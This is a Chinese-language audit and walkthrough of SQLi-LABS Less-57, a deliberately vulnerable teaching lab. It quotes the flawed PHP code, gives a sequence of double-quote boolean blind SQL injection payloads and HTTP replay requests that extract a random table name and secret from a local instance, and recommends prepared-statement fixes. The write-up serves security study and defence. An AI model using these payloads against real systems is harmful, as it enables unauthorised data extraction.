Less-57 代码审计报告:挑战关-4(双引号布尔盲注)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-57/index.php 及配套脚本实际文件一致。

1. 关卡概述

2. 漏洞代码定位

文件: Less-57/index.php

// 第 22-23 行:连接 challenges 库 + 随机表/列工具函数
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
// 第 24 行:关闭 PHP 报错
error_reporting(0);
// 第 27 行:尝试次数上限
$times= 14;

// 第 97 行:用双引号包裹用户输入
$id= '"'.$id.'"';
// 第 99 行:拼进 WHERE id=$id
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

// 第 103-115 行:有行则显示用户名密码(布尔 Oracle)
if($row)
{
	echo 'Your Login name:'. $row['username'];
	echo 'Your Password:' .$row['password'];
}
else
{
	echo '<font color= "#FFFF00">';
//				print_r(mysql_error());   // 第 114 行:报错回显被注释
	echo "</font>";
}

关键漏洞点:

• 第 68 行:$id=$_GET['id']; 未过滤。
• 第 97 行:$id= '"'.$id.'"'; 用双引号包裹,再于第 99 行拼接。双引号内的 $id 若含 " 即可逃逸。
• 第 99 行:WHERE id=$id → WHERE id="<input>"。
• 第 114 行:print_r(mysql_error()) 被注释,只能布尔盲注。
• 挑战机制同 Less-54:随机表名(10 位 A-Z0-9)、secret_XXXX 列(第 3 列)、24 位随机 secret。

3. 漏洞分析

• 输入来源:$_GET['id'],未过滤;第 97 行仅加双引号,未转义。
• SQL 拼接位置:WHERE id="..."。
• 闭合方式:双引号 "。Payload 形如 1" and (条件)-- -,最终 SQL 为 WHERE id="1" and (条件)-- -"。
• 是否回显:命中显示用户名密码;未命中无输出;无报错回显。
• 注意:MySQL 默认 sql_mode 不含 ANSI_QUOTES,双引号即字符串字面量;若开启 ANSI_QUOTES 双引号变为标识符引用,注入方式会改变,本靶场按字符串处理。
• 挑战机制:同 Less-54(Cookie 会话、tryy 计数、超 14 次重置)。

4. 利用方式

步骤一:判断注入类型与闭合

?id=1          → 显示 Dumb
?id=1"         → 不显示
?id=1"-- -     → 显示(双引号被注释)
?id=1" and 1=1-- -  → 显示
?id=1" and 1=2-- -  → 不显示

→ 闭合方式为 1" and ...-- -,布尔 Oracle 成立。

步骤二:确认 challenges 库存在

?id=1" and (select count(*) from information_schema.tables where table_schema='challenges')=1-- -

步骤三:盲注提取随机表名

-- 表名第 1 个字符 ASCII 是否等于 65('A')
?id=1" and ascii(substring((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=65-- -

逐位爆破得到 <T>。

步骤四:盲注提取 secret 列名(第 3 列,limit 2,1)

?id=1" and ascii(substring((select column_name from information_schema.columns where table_schema='challenges' and table_name='<T>' limit 2,1),1,1))=115-- -

爆破出 secret_XXXX。

步骤五:盲注提取 24 位 secret 值

?id=1" and ascii(substring((select secret_XXXX from challenges.<T> limit 0,1),i,1))=N-- -

拼出完整 secret。

步骤六:提交答案

POST /sqli-labs/Less-57/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

key=<secret值>&answer_key=Submit

关于次数限制与 reset

• 共 14 次 ?id= 请求,超限重置、随机表重建。必须脚本化并在超限后自动重跑。

5. Yakit 重放数据包

探测表名首字符(布尔盲注):

GET /sqli-labs/Less-57/?id=1%22%20and%20ascii(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema='challenges'%20limit%200,1),1,1))%3D65--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

探测 secret 值第 1 字符:

GET /sqli-labs/Less-57/?id=1%22%20and%20ascii(substring((select%20secret_XXXX%20from%20challenges.%3CT%3E%20limit%200,1),1,1))%3D65--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

提交答案:

POST /sqli-labs/Less-57/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Connection: close

key=DUMPED_SECRET_VALUE&answer_key=Submit

说明:%22="、%20=空格、%3D==、--%20-=-- -;<T>、secret_XXXX 替换为实际爆破结果。

6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM security.users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

• id 强制整型校验。
• 关闭报错回显;注入账号仅授权 security 库。
• 升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前需:配置 sql-connections/db-creds.inc、通过 setup-db-challenge.php 初始化挑战库、使用支持 mysql_* 的 PHP 5.x 环境。